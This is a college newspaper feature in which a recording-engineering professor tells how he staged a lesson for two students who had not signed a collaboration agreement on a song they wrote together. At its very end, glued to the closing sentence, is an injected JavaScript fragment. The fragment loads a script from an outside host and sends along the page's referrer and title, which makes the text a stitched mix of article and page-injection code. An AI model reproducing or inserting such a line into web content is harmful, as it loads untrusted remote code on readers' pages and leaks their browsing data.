Extra Credit with Professor Dan Bush


James Peru, Cactus Staff Writer

It is no secret that the music business is one of the hardest to get into. While classroom instruction may give students the technical knowledge needed to succeed in the industry, there are many other lessons that can only be learned through real-world experience. Earlier this month I had the pleasure of sitting down with C.A.C’s E.I.T Program Coordinator and Professor of Recording Engineering, Dan Bush, to learn about his methods of teaching and to discuss some of the ways he better prepares his students for some of the situations they can expect to encounter in the industry.

“When I work with my students, I feel that they need to experience what I’m talking about and what I’m sharing with them, in order for it to sink in,” said Professor Bush. “It’s hard to find creative ways of getting through to students, to prepare them for what they are going to deal with in the real world of the music business.”

So when two students, whom for purposes of discretion we will refer to in this article as “Jake” and “Joe”, failed to take his advice, Professor Bush saw the perfect opportunity to teach these two students a valuable lesson through the use of creative teaching.

For months Jake had been working on a piece of music at school. Realizing he needed some help to make the song really shine, he enlisted a fellow classmate and songwriter, Joe, to collaborate with him on the piece. While Jake himself did most of the writing, Joe’s contribution to the song’s magic was undeniable, and together they recorded a song that caught the attention of our esteemed Professor.

“It was something I felt, with a little polishing, was the most commercially viable song that came out of that class that semester; one that I believed in and wanted to share with some of my colleagues in the industry,” Professor Bush said of the song.

At that time, one of his colleagues, who, for discretionary purposes, we will refer to as “The Industry,” was working on a project for a major music publishing company and agreed to give the song a listen.

Upon hearing the good news, Professor Bush contacted Jake to ask for the collaboration agreement he had signed with Joe that was necessary to send the song along.

“You did sign a collaboration agreement with Joe, right?” asked Professor Bush. He was answered by the sound of crickets chirping.

“Well, obviously,” Professor Bush explained to me, “the lessons on Entertainment Law and me asking these students to put everything in writing had fallen upon deaf ears. There was no collaboration agreement.”

After hanging up with Professor Bush, Jake quickly tried to contact Joe, confident that he could convince him to draft up a quick collaboration agreement giving him 100% ownership of the song.

However, quick on the draw to capitalize on a unique teaching opportunity, Professor Bush reached him first. “Here’s what I want you to do,” he told Joe, “Jake is going to call you and he’s going to request that you sign over your 50% ownership of the intellectual property of the song. I want you to tell him no deal.”

Unfortunately for Jake, he and Joe had previously parted ways to pursue their own artistic endeavors, and while the parting wasn’t exactly hostile, it wasn’t on friendly enough terms to convince Joe to sign over his ownership of the song either. Joe agreed to play along.

“Jake came to me in a horrific panic,” said Professor Bush. “It was the equivalent of him losing the rights to a song that he wrote and that he could now get published and potentially get paid for.”

Trying to think of a way to get around the problem, Jake suggested several ideas to Professor Bush, from writing Joe out of the song, to writing a new song altogether.

“Legally speaking,” Professor Bush explained to Jake, “You cannot write someone out of a partial ownership. As long as the intent to collaborate was originally there, there is no way to determine, for sure, all of the areas in which Joe contributed. In order for us to publish this, I either need to have both of the copyright owner’s signatures (yours and Joe’s), or you need to be the sole copyright owner, so that only you signature will be needed.”

Professor Bush let Jake stew on that over the weekend until finally revealing his clever lesson, to which Jake was equally relieved and grateful for.

“I had to let him feel what it’s like, for him to learn that hard lesson now rather than when he goes out into the real world and makes this mistake with a lot of money and people involved. The reason we do this program is so students can make their mistakes here, in a controlled academic environment.”

In the end Jake and Joe reached an agreement and “The Industry” heard the song. Unfortunately the song was not what he was looking for. But it was heard, and that is something most musicians spend their entire careers trying to accomplish. It was a hard learned lesson, but wherever Jake and Joe’s journeys lead them later on in the business, one thing is for sure: if they are asked to collaborate on a project again, the first words out of their mouths are sure to be, “Sure, just sign this collaboration agreement first.”s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;